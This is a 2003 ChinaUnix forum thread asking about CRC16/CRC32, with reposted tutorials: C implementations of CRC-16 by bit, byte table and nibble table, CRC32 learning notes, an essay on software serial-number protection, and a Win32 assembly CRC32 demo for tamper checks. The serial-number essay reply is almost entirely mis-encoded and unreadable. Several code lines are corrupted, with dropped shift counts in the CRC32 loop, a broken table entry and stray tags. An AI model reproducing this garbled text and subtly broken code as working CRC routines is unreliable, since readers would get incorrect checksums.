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哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么?
http://www.chinaunix.net 作者:hjzgq  发表于：2003-05-15 11:16:59

一直对CRC不太理解,网上查查,结果也差强人意,哪位高手能否为老弟扫扫盲

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无双 回复于：2003-05-15 13:04:15
在论坛的旧帖中有个讨论
那时还有源程序

或是google查找
CRC 纠错码

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hjzgq 回复于：2003-05-15 14:03:39
精华区没有,旧帖也没有,这里从网上转贴一篇

　　CRC算法原理及C语言实现 －来自（我爱单片机）

摘 要 本文从理论上推导出CRC算法实现原理，给出三种分别适应不同计算机或微控制器硬件环境的C语言程序。读者更能根据本算法原理，用不同的语言编写出独特风格更加实用的CRC计算程序。
关键词 CRC 算法 C语言
1 引言
循环冗余码CRC检验技术广泛应用于测控及通信领域。CRC计算可以靠专用的硬件来实现，但是对于低成本的微控制器系统，在没有硬件支持下实现CRC检验，关键的问题就是如何通过软件来完成CRC计算，也就是CRC算法的问题。
这里将提供三种算法，它们稍有不同，一种适用于程序空间十分苛刻但CRC计算速度要求不高的微控制器系统，另一种适用于程序空间较大且CRC计算速度要求较高的计算机或微控制器系统，最后一种是适用于程序空间不太大，且CRC计算速度又不可以太慢的微控制器系统。
2 CRC简介
CRC校验的基本思想是利用线性编码理论，在发送端根据要传送的k位二进制码序列，以一定的规则产生一个校验用的监督码（既CRC码）r位，并附在信息后边，构成一个新的二进制码序列数共(k+r)位，最后发送出去。在接收端，则根据信息码和CRC码之间所遵循的规则进行检验，以确定传送中是否出错。
16位的CRC码产生的规则是先将要发送的二进制序列数左移16位（既乘以 ）后，再除以一个多项式，最后所得到的余数既是CRC码，如式（2-1）式所示，其中B(X)表示n位的二进制序列数，G(X)为多项式，Q(X)为整数，R(X)是余数（既CRC码）。
（2-1）
求CRC码所采用模2加减运算法则，既是不带进位和借位的按位加减，这种加减运算实际上就是逻辑上的异或运算，加法和减法等价，乘法和除法运算与普通代数式的乘除法运算是一样，符合同样的规律。生成CRC码的多项式如下，其中CRC-16和CRC-CCITT产生16位的CRC码，而CRC-32则产生的是32位的CRC码。本文不讨论32位的CRC算法，有兴趣的朋友可以根据本文的思路自己去推导计算方法。
CRC-16：（美国二进制同步系统中采用）
CRC-CCITT：（由欧洲CCITT推荐）
CRC-32：

接收方将接收到的二进制序列数（包括信息码和CRC码）除以多项式，如果余数为0，则说明传输中无错误发生，否则说明传输有误，关于其原理这里不再多述。用软件计算CRC码时，接收方可以将接收到的信息码求CRC码，比较结果和接收到的CRC码是否相同。

3 按位计算CRC
对于一个二进制序列数可以表示为式(3-1):
(3-1)
求此二进制序列数的CRC码时，先乘以 后（既左移16位），再除以多项式G(X)，所得的余数既是所要求的CRC码。如式(3-2)所示：
(3-2)
可以设： (3-3)
其中 为整数， 为16位二进制余数。将式(3-3)代入式(3-2)得：

(3-4)
再设： (3-5)
其中 为整数， 为16位二进制余数，将式(3-5)代入式(3-4)，如上类推，最后得到：
(3-6)
根据CRC的定义，很显然，十六位二进制数 既是我们要求的CRC码。
式(3-5)是编程计算CRC的关键，它说明计算本位后的CRC码等于上一位CRC码乘以2后除以多项式，所得的余数再加上本位值除以多项式所得的余数。由此不难理解下面求CRC码的C语言程序。*ptr指向发送缓冲区的首字节，len是要发送的总字节数，0x1021与多项式有关。

 
unsigned int cal_crc(unsigned char *ptr, unsigned char len) { 
unsigned char i; 
unsigned int crc=0; 
while(len--!=0) { 
for(i=0x80; i!=0; i/=2) { 
if((crc&0x8000)!=0) {crc*=2; crc^=0x1021;} /* 余式CRC乘以2再求CRC */ 
else crc*=2; 
if((*ptr&i)!=0) crc^=0x1021; /* 再加上本位的CRC */ 
} 
ptr++; 
} 
return(crc); 
} 
[code] 
按位计算CRC虽然代码简单，所占用的内存比较少，但其最大的缺点就是一位一位地计算会占用很多的处理器处理时间，尤其在高速通讯的场合，这个缺点更是不可容忍。因此下面再介绍一种按字节查表快速计算CRC的方法。 
4 按字节计算CRC 
不难理解，对于一个二进制序列数可以按字节表示为式(4-1)，其中 为一个字节(共8位)。 
(4-1) 
求此二进制序列数的CRC码时，先乘以 后（既左移16位），再除以多项式G(X)，所得的余数既是所要求的CRC码。如式(4-2)所示： 
（4-2） 
可以设： (4-3) 
其中 为整数， 为16位二进制余数。将式(4-3)代入式(4-2)得： 
（4-4） 
因为： 
（4-5） 
其中 是 的高八位， 是 的低八位。将式（4-5）代入式（4-4），经整理后得： 
（4-6） 
再设： (4-7) 
其中 为整数， 为16位二进制余数。将式(4-7)代入式(4-6)，如上类推，最后得： 
(4- 
很显然，十六位二进制数 既是我们要求的CRC码。 
式(4-7)是编写按字节计算CRC程序的关键，它说明计算本字节后的CRC码等于上一字节余式CRC码的低8位左移8位后，再加上上一字节CRC右移8位（也既取高8位）和本字节之和后所求得的CRC码，如果我们把8位二进制序列数的CRC全部计算出来，放如一个表里，采用查表法，可以大大提高计算速度。由此不难理解下面按字节求CRC码的C语言程序。*ptr指向发送缓冲区的首字节，len是要发送的总字节数，CRC余式表是按0x11021多项式求出的。 
[code] 
unsigned int cal_crc(unsigned char *ptr, unsigned char len) { 
unsigned int crc; 
unsigned char da; 
unsigned int crc_ta[256]={ /* CRC余式表 */ 
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50a5, 0x60c6, 0x70e7, 
0x8108, 0x9129, 0xa14a, 0xb16b, 0xc18c, 0xd1ad, 0xe1ce, 0xf1ef, 
0x 1231, 0x0210, 0x3273, 0x2252, 0x52b5, 0x4294, 0x72f7, 0x62d6, 
0x9339, 0x8318, 0xb37b, 0xa35a, 0xd3bd, 0xc39c, 0xf3ff, 0xe3de, 
0x2462, 0x3443, 0x0420, 0x1401, 0x64e6, 0x74c7, 0x44a4, 0x5485, 
0xa56a, 0xb54b, 0x8528, 0x9509, 0xe5ee, 0xf5cf, 0xc5ac, 0xd58d, 
0x3653, 0x2672, 0x1611, 0x0630, 0x76d7, 0x66f6, 0x5695, 0x46b4, 
0xb75b, 0xa77a, 0x9719, 0x8738, 0xf7df, 0xe7fe, 0xd79d, 0xc7bc, 
0x48c4, 0x58e5, 0x6886, 0x78a7, 0x0840, 0x1861, 0x2802, 0x3823, 
0xc9cc, 0xd9ed, 0xe98e, 0xf9af, 0x8948, 0x9969, 0xa90a, 0xb92b, 
0x5af5, 0x4ad4, 0x7ab7, 0x6a96, 0x1a71, 0x0a50, 0x3a33, 0x2a12, 
0xdbfd, 0xcbdc, 0xfbbf, 0xeb9e, 0x9b79, 0x8b58, 0xbb3b, 0xab1a, 
0x6ca6, 0x7c87, 0x4ce4, 0x5cc5, 0x2c22, 0x3c03, 0x0c60, 0x1c41, 
0xedae, 0xfd8f, 0xcdec, 0xddcd, 0xad2a, 0xbd0b, 0x8d68, 0x9d49, 
0x7e97, 0x6eb6, 0x5ed5, 0x4ef4, 0x3e13, 0x2e32, 0x1e51, 0x0e70, 
0xff9f, 0xefbe, 0xdfdd, 0xcffc, 0xbf1b, 0xaf3a, 0x9f59, 0x8f78, 
0x9188, 0x81a9, 0xb1ca, 0xa1eb, 0xd10c, 0xc12d, 0xf14e, 0xe16f, 
0x1080, 0x00a1, 0x30c2, 0x20e3, 0x5004, 0x4025, 0x7046, 0x6067, 
0x83b9, 0x9398, 0xa3fb, 0xb3da, 0xc33d, 0xd31c, 0xe37f, 0xf35e, 
0x02b1, 0x1290, 0x22f3, 0x32d2, 0x4235, 0x5214, 0x6277, 0x7256, 
0xb5ea, 0xa5cb, 0x95a8, 0x8589, 0xf56e, 0xe54f, 0xd52c, 0xc50d, 
0x34e2, 0x24c3, 0x14a0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405, 
0xa7db, 0xb7fa, 0x8799, 0x97b8, 0xe75f, 0xf77e, 0xc71d, 0xd73c, 
0x26d3, 0x36f2, 0x0691, 0x16b0, 0x6657, 0x7676, 0x4615, 0x5634, 
0xd94c, 0xc96d, 0xf90e, 0xe92f, 0x99c8, 0x89e9, 0xb98a, 0xa9ab, 
0x5844, 0x4865, 0x7806, 0x6827, 0x18c0, 0x08e1, 0x3882, 0x28a3, 
0xcb7d, 0xdb5c, 0xeb3f, 0xfb1e, 0x8bf9, 0x9bd8, 0xabbb, 0xbb9a, 
0x4a75, 0x5a54, 0x6a37, 0x7a16, 0x0af1, 0x1ad0, 0x2ab3, 0x3a92, 
0xfd2e, 0xed0f, 0xdd6c, 0xcd4d, 0xbdaa, 0xad8b, 0x9de8, 0x8dc9, 
0x7c26, 0x6c07, 0x5c64, 0x4c45, 0x3ca2, 0x2c83, 0x1ce0, 0x0cc1, 
0xef1f, 0xff3e, 0xcf5d, 0xdf7c, 0xaf9b, 0xbfba, 0x8fd9, 0x9ff8, 
0x6e17, 0x7e36, 0x4e55, 0x5e74, 0x2e93, 0x3eb2, 0x0ed1, 0x1ef0 
}; 

crc=0; 
while(len--!=0) { 
da=(uchar) (crc/256); /* 以8位二进制数的形式暂存CRC的高8位 */ 
crc<<=8; /* 左移8位，相当于CRC的低8位乘以 */ 
crc^=crc_ta[da^*ptr]; /* 高8位和当前字节相加后再查表求CRC ，再加上以前的CRC */ 
ptr++; 
} 
return(crc); 
} 
很显然，按字节求CRC时，由于采用了查表法，大大提高了计算速度。但对于广泛运用的8位微处理器，代码空间有限，对于要求256个CRC余式表（共512字节的内存）已经显得捉襟见肘了，但CRC的计算速度又不可以太慢，因此再介绍下面一种按半字节求CRC的算法。 
5 按半字节计算CRC 
同样道理，对于一个二进制序列数可以按字节表示为式(5-1)，其中 为半个字节(共4位)。 
(5-1) 
求此二进制序列数的CRC码时，先乘以 后（既左移16位），再除以多项式G(X)，所得的余数既是所要求的CRC码。如式(4-2)所示： 
（5-2） 
可以设： (5-3) 
其中 为整数， 为16位二进制余数。将式(5-3)代入式(5-2)得： 
（5-4） 
因为： 
（5-5） 
其中 是 的高4位， 是 的低12位。将式（5-5）代入式（5-4），经整理后得： 
（5-6） 
再设： (5-7) 
其中 为整数， 为16位二进制余数。将式(5-7)代入式(5-6)，如上类推，最后得： 
(5- 
很显然，十六位二进制数 既是我们要求的CRC码。 
式(5-7)是编写按字节计算CRC程序的关键，它说明计算本字节后的CRC码等于上一字节CRC码的低12位左移4位后，再加上上一字节余式CRC右移4位（也既取高4位）和本字节之和后所求得的CRC码，如果我们把4位二进制序列数的CRC全部计算出来，放在一个表里，采用查表法，每个字节算两次（半字节算一次），可以在速度和内存空间取得均衡。由此不难理解下面按半字节求CRC码的C语言程序。*ptr指向发送缓冲区的首字节，len是要发送的总字节数，CRC余式表是按0x11021多项式求出的。 
unsigned cal_crc(unsigned char *ptr, unsigned char len) { 
unsigned int crc; 
unsigned char da; 
unsigned int crc_ta[16]={ /* CRC余式表 */ 
0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7, 
0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef, 
} 

crc=0; 
while(len--!=0) { 
da=((uchar)(crc/256))/16; /* 暂存CRC的高四位 */ 
crc<<=4; /* CRC右移4位，相当于取CRC的低12位）*/ 
crc^=crc_ta[da^(*ptr/16)]; /* CRC的高4位和本字节的前半字节相加后查表计算CRC， 
然后加上上一次CRC的余数 */ 
da=((uchar)(crc/256))/16; /* 暂存CRC的高4位 */ 
crc<<=4; /* CRC右移4位， 相当于CRC的低12位） */ 
crc^=crc_ta[da^(*ptr&0x0f)]; /* CRC的高4位和本字节的后半字节相加后查表计算CRC， 
然后再加上上一次CRC的余数 */ 
ptr++; 
} 
return(crc); 
} 
[code] 
5 结束语 
以上介绍的三种求CRC的程序，按位求法速度较慢，但占用最小的内存空间；按字节查表求CRC的方法速度较快，但占用较大的内存；按半字节查表求CRC的方法是前两者的均衡，即不会占用太多的内存，同时速度又不至于太慢，比较适合8位小内存的单片机的应用场合。以上所给的C程序可以根据各微处理器编译器的特点作相应的改变，比如把CRC余式表放到程序存储区内等。

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hjzgq 回复于：2003-05-15 14:12:51
CRC32算法学习笔记以及如何用java实现  出自：csdn bootcool 2002年10月19日 23:11   CRC32算法学习笔记以及如何用java实现

CRC32算法学习笔记以及如何用java实现

一：说明

论坛上关于CRC32校验算法的详细介绍不多。前几天偶尔看到Ross N. Williams的文章，总算把CRC32算法的来龙去脉搞清楚了。本来想把原文翻译出来，但是时间参促，只好把自己的一些学习心得写出。这样大家可以更快的了解CRC32的主要思想。由于水平有限，还恳请大家指正。原文可以访问：http://www.repairfaq.org/filipg/LINK/F_crc_v31.html 。

二：基本概念及相关介绍

2．1 什么是CRC

在远距离数据通信中，为确保高效而无差错地传送数据，必须对数据进行校验即差错控制。循环冗余校验CRC(Cyclic Redundancy Check/Code)是对一个传送数据块进行校验，是一种高效的差错控制方法。

CRC校验采用多项式编码方法。多项式乘除法运算过程与普通代数多项式的乘除法相同。多项式的加减法运算以2为模，加减时不进，错位，如同逻辑异或运算。

2．2 CRC的运算规则

CRC加法运算规则：0+0=0

0+1=1

1+0=1

1+1=0 (注意：没有进位)

CRC减法运算规则：

0-0=0

0-1=1

1-0=1

1-1=0

CRC乘法运算规则：

0*0=0

0*1=0

1*0=0

1*1=1

CRC除法运算规则：

1100001010 (注意:我们并不关心商是多少。)

_______________

10011  11010110110000

10011,,.,,....

-----,,.,,....

10011,.,,....

10011,.,,....

-----,.,,....

00001.,,....

00000.,,....

-----.,,....

00010,,....

00000,,....

-----,,....

00101,....

00000,....

-----,....

01011....

00000....

-----....

10110...

10011...

-----...

01010..

00000..

-----..

10100.

10011.

-----.

01110

00000

-----

1110 = 余数

2．3 如何生成CRC校验码

(1) 设G(X)为W阶，在数据块末尾添加W个0，使数据块为M+ W位，则相应的多项式为XrM(X)；

　　(2) 以2为模，用对应于G(X)的位串去除对应于XrM(X)的位串，求得余数位串；

　　(3) 以2为模，从对应于XrM(X)的位串中减去余数位串，结果就是为数据块生成的带足够校验信息的CRC校验码位串。

2．4 可能我们会问那如何选择G(x)

可以说选择G(x)不是一件很容易的事。一般我们都使用已经被大量的数据，时间检验过的，正确的，高效的，生成多项式。一般有以下这些：

16 bits: (16,12,5,0) [X25 standard]

(16,15,2,0) ["CRC-16"]

32 bits: (32,26,23,22,16,12,11,10,8,7,5,4,2,1,0) [Ethernet]

三: 如何用软件实现CRC算法

现在我们主要问题就是如何实现CRC校验，编码和解码。用硬件实现目前是不可能的，我们主要考虑用软件实现的方法。

以下是对作者的原文的翻译：

我们假设有一个4 bits的寄存器，通过反复的移位和进行CRC的除法，最终该寄存器中的值就是我们所要求的余数。

3 2 1 0 Bits

+---+---+---+---+

Pop <-- | | | | | <----- Augmented message（已加0扩张的原始数据）

+---+---+---+---+

1 0 1 1 1 = The Poly

(注意: The augmented message is the message followed by W zero bits.)

依据这个模型，我们得到了一个最最简单的算法：

把register中的值置0.

把原始的数据后添加r个0.

While (还有剩余没有处理的数据)

Begin

把register中的值左移一位，读入一个新的数据并置于register的0 bit的位置。

If (如果上一步的左移操作中的移出的一位是1)

register = register XOR Poly.

End

现在的register中的值就是我们要求的crc余数。

我的学习笔记：

可为什么要这样作呢？我们从下面的实例来说明：

1100001010

_______________

10011  11010110110000

10011,,.,,....

-----,,.,,....

－》 10011,.,,....

10011,.,,....

-----,.,,....

－》 00001.,,....

00000.,,....

-----.,,....

00010,,....

00000,,....

-----,,....

00101,....

00000,....

我们知道G(x)的最高位一定是1，而商1还是商0是由被除数的最高位决定的。而我们并不关心商究竟是多少，我们关心的是余数。例如上例中的G(x)有5位。我们可以看到每一步作除法运算所得的余数其实就是被除数的最高位后的四位于G(x)的后四位XOR而得到的。那被除数的最高位有什么用呢？我们从打记号的两个不同的余数就知道原因了。当被除数的最高位是1时，商1然后把最高位以后的四位于G(x)的后四位XOR得到余数；如果最高位是0，商0然后把被除数的最高位以后的四位于G(x)的后四位XOR得到余数，而我们发现其实这个余数就是原来被除数最高位以后的四位的值。也就是说如果最高位是0就不需要作XOR的运算了。到这我们总算知道了为什么先前要这样建立模型，而算法的原理也就清楚了。

以下是对作者的原文的翻译：

可是这样实现的算法却是非常的低效。为了加快它的速度，我们使它一次能处理大于4 bit的数据。也就是我们想要实现的32 bit的CRC校验。我们还是假设有和原来一样的一个4 "bit"的register。不过它的每一位是一个8 bit的字节。

3 2 1 0 Bytes

+----+----+----+----+

Pop <-- | | | | | <----- Augmented message

+----+----+----+----+

1<------32 bits------> （暗含了一个最高位的“1”）

根据同样的原理我们可以得到如下的算法：

While (还有剩余没有处理的数据)

Begin

检查register头字节，并取得它的值

求不同偏移处多项式的和

register左移一个字节，最右处存入新读入的一个字节

把register的值和多项式的和进行XOR运算

End

我的学习笔记：

可是为什么要这样作呢？ 同样我们还是以一个简单的例子说明问题：

假设有这样的一些值：

当前register中的值： 01001101

4 bit应该被移出的值：1011

生成多项式为： 101011100

Top Register

---- --------

1011 01001101

1010 11100 + (CRC XOR)

-------------

0001 10101101

首4 bits 不为0说明没有除尽，要继续除:

0001 10101101

1 01011100 + (CRC XOR)

-------------

0000 11110001

^^^^

首4 bits 全0说明不用继续除了。

那按照算法的意思作又会有什么样的结果呢？

1010 11100

1 01011100+

-------------

1011 10111100

1011 10111100

1011 01001101+

-------------

0000 11110001

现在我们看到了这样一个事实，那就是这样作的结果和上面的结果是一致的。这也说明了算法中为什么要先把多项式的值按不同的偏移值求和，然后在和register进行异或运算的原因了。另外我们也可以看到，每一个头字节对应一个值。比如上例中：1011，对应01001101。那么对于32 bits 的CRC 头字节，依据我们的模型。头8 bit就该有 2^8个，即有256个值与它对应。于是我们可以预先建立一个表然后，编码时只要取出输入数据的头一个字节然后从表中查找对应的值即可。这样就可以大大提高编码的速度了。

+----+----+----+----+

+-----< | | | | | <----- Augmented message

| +----+----+----+----+

| ^

| |

| XOR

| |

| 0+----+----+----+----+

v +----+----+----+----+

| +----+----+----+----+

| +----+----+----+----+

| +----+----+----+----+

| +----+----+----+----+

| +----+----+----+----+

+-----> +----+----+----+----+

+----+----+----+----+

+----+----+----+----+

+----+----+----+----+

+----+----+----+----+

255+----+----+----+----+

以下是对作者的原文的翻译：

上面的算法可以进一步优化为：

1：register左移一个字节,从原始数据中读入一个新的字节.

2：利用刚从register移出的字节作为下标定位 table 中的一个32位的值

3：把这个值XOR到register中。

4：如果还有未处理的数据则回到第一步继续执行。

用C可以写成这样：

r=0;

while (len--)
r = ((r <<  | p*++) ^ t[(r >> 24) & 0xFF];

可是这一算法是针对已经用0扩展了的原始数据而言的。所以最后还要加入这样的一个循环，把W个0加入原始数据。

我的学习笔记：

注意不是在预处理时先加入W个0，而是在上面算法描述的循环后加入这样的处理。

for (i=0; i<W/4; i++)
r = (r <<  ^ t[(r >> 24) & 0xFF];
所以是W/4是因为若有W个0，因为我们以字节（8位）为单位的，所以是W/4个0 字节。注意不是循环w/8次
以下是对作者的原文的翻译：
1：对于尾部的w/4个0字节，事实上它们的作用只是确保所有的原始数据都已被送入register，并且被算法处理。
2：如果register中的初始值是0，那么开始的4次循环，作用只是把原始数据的头4个字节送入寄存器。（这要结合table表的生成来看）。就算register的初始值不是0，开始的4次循环也只是把原始数据的头4个字节把它们和register的一些常量XOR，然后送入register中。

3A xor B) xor C = A xor (B xor C)

总上所述，原来的算法可以改为:

+-----<Message (non augmented)
|
v 3 2 1 0 Bytes
| +----+----+----+----+
XOR----<| | | | |
| +----+----+----+----+
| ^
| |
| XOR
| |
| 0+----+----+----+----+
v +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
+----->+----+----+----+----+
+----+----+----+----+
+----+----+----+----+
+----+----+----+----+
+----+----+----+----+
255+----+----+----+----+

算法：

1：register左移一个字节,从原始数据中读入一个新的字节.

2：利用刚从register移出的字节和读入的新字节XOR从而产生定位下标，从table中取得相应的值。

3：把该值XOR到register中

4：如果还有未处理的数据则回到第一步继续执行。

我的学习笔记：

对这一算法我还是不太清楚，或许和XOR的性质有关，恳请大家指出为什么？

谢谢。

到这，我们对CRC32的算法原理和思想已经基本搞清了。下章，我想着重根据算法思想用java语言实现。

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hjzgq 回复于：2003-05-15 14:14:51
??算法一向都是密瘁加密的核心，但在一般的?路加密中，它似乎?不太?人?所晷心，因?大多??候?篦加密本身??的都是一肺?程上的技巧。但近?年?胗著序列?加密程序的普及，??算法在?篦加密中的比重似乎是越?越大了。

  

我?先?看看在咀路上大行其道的序列?加密的工作原理。?用??咀路上下蒌某?Shareware -- 共享?篦後，一般都有使用?殓上的限制，?咿了共享?篦的?用期後，你必?到呃??篦的公司去暂?後方能擂理使用。暂?咿程一般是用?把自己的私人信息（一般主要指名字）呗同信用卡?瘁告灾斤?篦公司，?篦公司?根?用?的信息?算出一?序列瘁出?，在用?得到呃?序列瘁後，按照暂?需要的步笈在?篦中?入暂?信息和暂?瘁，其暂?信息的合法性由?篦?赞通咿後，?篦就?取消掉本身的各肺限制。呃肺加密??起?比蒉??，不需要铪外的成本，用??偕也非常方便，在咀上的?篦80%都是以呃肺方式?保罪的。

  

我?可以注意到?篦?赞序列?的合法性咿程，其?就是?赞用?名陪序列?之殓的?算晷?是否正催的咿程。其?赞最基本的有?肺，一肺是按用??入的姓名?生成暂?瘁，再同用??入的暂?瘁相比蒉，公式表示如下：

  

序列? = F(用?名费)

  

但呃肺方法?肴上等於在用??篦中再?了?篦公司生成暂?瘁的咿程，?肴上是非常不安全的，不?其?算咿程多??塍，解密者只需把你的?算咿程?程序中提出?就可以?制一?通用的暂?程序。

  

另外一肺是通咿暂?瘁??赞用?名的正催性，公式表示如下：

  

用?名费 = F逆(序列?)

  

呃其?是?篦公司暂?瘁?算咿程的反算法，如果正向算法陪反向算法不是?费算法的化，?於解密者?真的催有些困膣，但呃肺算法相?不好韵?。於是有人考?到了以下的算法：

  

F1(用?名费) = F2(序列?)

  

F1、F2是?肺完全不同的算法，但用?名通咿F1算法?算出的特徵字等於用序列?通咿F2算法?算出的特徵字，呃肺算法在韵?上比蒉??，保密性相?以上?肺算法也要好得多。如果能?把F1、F2算法都韵?成不可逆算法的化，保密性相?的好，但一旦解密者找到其中一?的反算法的化序列? = F2逆 (F1(用?名费))呃肺算法就不安全了。一元算法的韵?看?再如何努力也很膣有太大的突破，那?二元呢？

  

特定值 = F(用?名费，序列?)

  

呃?算法看上去相?不邋，用?名费陪序列?之殓的晷系不再是那?清晰了，但同?也失去了用?名费陪序列?的一一??晷?，?篦檫办者必?自己居罪用?名费陪序列?之殓的唯一性，但呃似乎也不是膣以揠到的事，建????就好了。

  

?然你也可以根?呃一思路把用?名费或序列?分???部分??造更多元的算法。

  

特定值 = F(用?名1, 用?名2,..., 序列?1, 序列?2, ...)

  

?有的序列?加密算法大多是?篦檫办者自行韵?的，大部分相???。而且有些算法作者腠然下了很大的工夫，但效果往往哌不到它所希望的劫果。其??在有很多?成的加密算法可以使用，如RSADES、MD4、MD5...只不咿呃些算法是?了加密密文或密瘁用的，同序列?加密多少有些不同，如果希望使用呃些加密算法的化多少需要??呢筋。我在呃里?佩一例，希望有?歹引玉的作用：

  

1、在?篦程序中有一段加密咿的密文S

2、密? = F(用?名费，序列?) 用上面的二元算法得到密?

3、明文D = F-DES(密文S, 密?) 用得到的密??解密密文得到明文D

4、CRC = F-CRC(明文D) ?得到的明文?用各肺CRC靳?

5、?查CRC是否正催。最好多韵?几肺CRC算法，?查多?CRC劫果是否都正催。

  

用呃肺方法，在?有一?已知正催的序列?的情?下是永哞推算不出正催的序列?的。
Copyright © 2000-2003 德遄??有限公司

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hjzgq 回复于：2003-05-15 14:18:31
（特别感谢汇编高手 dREAMtHEATER 对我的代码作出了相当好的优化！请参观他的主页）

上一节我们介绍了花指令，不过花指令毕竟是一种很简单的东西，基本上入了门的Cracker都可以对付得了。所以，我们很有必要给自己的软件加上更好的保护。CRC校验就是其中的一种不错的方法。

CRC是什么东西呢？其实我们大家都不应该会对它陌生，回忆一下？你用过RAR和ZIP等压缩软件吗？它们是不是常常会给你一个恼人的“CRC校验错误”信息呢？我想你应该明白了吧，CRC就是块数据的计算值，它的全称是“Cyclic Redundancy Check”，中文名是“循环冗余码”，“CRC校验”就是“循环冗余校验”。（哇，真拗口，希望大家不要当我是唐僧，呵呵。^_^）

CRC有什么用呢？它的应用范围很广泛，最常见的就是在网络传输中进行信息的校对。其实我们大可以把它应用到软件保护中去，因为它的计算是非常非常非常严格的。严格到什么程度呢？你的程序只要被改动了一个字节（甚至只是大小写的改动），它的值就会跟原来的不同。Hoho，是不是很厉害呢？所以只要给你的“原”程序计算好CRC值，储存在某个地方，然后在程序中随机地再对文件进行CRC校验，接着跟第一次生成并保存好的CRC值进行比较，如果相等的话就说明你的程序没有被修改/破解过，如果不等的话，那么很可能你的程序遭到了病毒的感染，或者被Cracker用16进制工具暴力破解过了。

废话说完了，我们先来看看CRC的原理。
（由于CRC实现起来有一定的难度，所以具体怎样用它来保护文件，留待下一节再讲。）

首先看两个式子：
式一：9 / 3 = 3          （余数 = 0）
式二：(9 + 2  / 3 = 3   （余数 = 2）

在小学里我们就知道，除法运算就是将被减数重复地减去除数X次，然后留下余数。
所以上面的两个式子可以用二进制计算为：（什么？你不会二进制计算？我倒～～～）

式一：
1001        --> 9
0011    -   --> 3
---------
0110        --> 6
0011    -   --> 3
---------
0011        --> 3
0011    -   --> 3
---------
0000        --> 0，余数
一共减了3次，所以商是3，而最后一次减出来的结果是0，所以余数为0

式二：
1011        --> 11
0011    -   --> 3
---------
1000        --> 8
0011    -   --> 3
---------
0101        --> 5
0011    -   --> 3
---------
0010        --> 2,余数
一共减了3次，所以商是3，而最后一次减出来的结果是2，所以余数为2

看明白了吧？很好，let’s go on!

二进制减法运算的规则是，如果遇到0-1的情况，那么要从高位借1，就变成了(10+0)-1=1
CRC运算有什么不同呢？让我们看下面的例子：

这次用式子30 / 9，不过请读者注意最后的余数：

11110        --> 30
1001    -    --> 9
---------
1100        --> 12    （很奇怪吧？为什么不是21呢？）
1001   -    --> 9
--------
  101        --> 5，余数 --> the CRC!

这个式子的计算过程是不是很奇怪呢？它不是直接减的，而是用XOR的方式来运算（程序员应该都很熟悉XOR吧），最后得到一个余数。

对啦，这个就是CRC的运算方法，明白了吗？CRC的本质是进行XOR运算，运算的过程我们不用管它，因为运算过程对最后的结果没有意义；我们真正感兴趣的只是最终得到的余数，这个余数就是CRC值。

进行一个CRC运算我们需要选择一个除数，这个除数我们叫它为“poly”，宽度W就是最高位的位置，所以我刚才举的例子中的除数9，这个poly 1001的W是3，而不是4，注意最高位总是1。（别问为什么，这个是规定）

如果我们想计算一个位串的CRC码，我们想确定每一个位都被处理过，因此，我们要在目标位串后面加上W个0位。现在让我们根据CRC的规范来改写一下上面的例子：

Poly                    =    1001，宽度W = 3
位串Bitstring           =    11110
Bitstring + W zeroes    =    11110 + 000 = 11110000

11110000
1001||||    -
-------------
1100|||
1001|||    -
------------
  1010||
  1001||    -
  -----------
   0110|
   0000|    -
   ----------
    1100
    1001    -
    ---------
     101        --> 5，余数 --> the CRC!

还有两点重要声明如下：
1、只有当Bitstring的最高位为1，我们才将它与poly进行XOR运算，否则我们只是将Bitstring左移一位。
2、XOR运算的结果就是被操作位串Bitstring与poly的低W位进行XOR运算，因为最高位总为0。

呵呵，是不是有点头晕脑胀的感觉了？看不懂的话，再从头看一遍，其实是很好理解的。（就是一个XOR运算嘛！）

好啦，原理介绍到这里，下面我讲讲具体怎么编程。

由于速度的关系，CRC的实现主要是通过查表法，对于CRC-16和CRC-32，各自有一个现成的表，大家可以直接引入到程序中使用。（由于这两个表太长，在这里不列出来了，请读者自行在网络上查找，很容易找到的。）

如果我们没有这个表怎么办呢？或者你跟我一样，懒得自己输入？不用急，我们可以“自己动手，丰衣足食”。
你可能会说，自己编程来生成这个表，会不会太慢了？其实大可不必担心，因为我们是在汇编代码的级别进行运算的，而这个表只有区区256个双字，根本影响不了速度。

这个表的C语言描述如下：

for (i = 0; i < 256; i++)
{
    crc = i;
    for (j = 0; j < 8; j++)
    {
        if (crc & 1)
            crc = (crc >> 1) ^ 0xEDB88320;
        else
            crc >>= 1;
    }
    crc32tbl[i] = crc;
}

生成表之后，就可以进行运算了。
我们的算法如下：
1、将寄存器向右边移动一个字节。
2、将刚移出的那个字节与我们的字符串中的新字节进行XOR运算，得出一个指向值表table[0..255]的索引。
3、将索引所指的表值与寄存器做XOR运算。
4、如果数据没有全部处理完，则跳到步骤1。

这个算法的C语言描述如下：

    temp = (oldcrc ^ abyte) & 0x000000FF;
    crc  = (( oldcrc >>  & 0x00FFFFFF) ^ crc32tbl[temp];
    return crc;

好啦，所有的东东都说完啦，最后献上一个完整的Win32Asm例子，请读者仔细研究吧！
（汇编方面的CRC-32资料极少啊，我个人认为下面给出的是很宝贵的资料。）

;****************************************************
;程序名称：演示CRC32原理
;作者：罗聪
;日期：2002-8-24
;出处：http://laoluoc.yeah.net（老罗的缤纷天地）
;注意事项：如欲转载，请保持本程序的完整，并注明：转载自“老罗的缤纷天地”（http://laoluoc.yeah.net）
;
;特别感谢Win32ASM高手―― dREAMtHEATER 为我的代码作了相当好的优化！
;请各位前去 http://NoteXPad.yeah.net 下载他的小巧的“cool 记事本”―― NoteXPad 来试用！（100% Win32ASM 编写）
;
;****************************************************

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib

WndProc            proto WORD, WORD, WORD, WORD
init_crc32table    proto
arraycrc32         proto

.const
IDC_BUTTON_OPEN        equ    3000
IDC_EDIT_INPUT         equ    3001

.data
szDlgName         db    "lc_dialog", 0
szTitle           db    "CRC demo by LC", 0
szTemplate        db    "字符串 ""%s"" 的 CRC32 值是：%X", 0
crc32tbl          dd    256 dup(0)    ;CRC-32 table
szBuffer          db    255 dup(0)

.data?
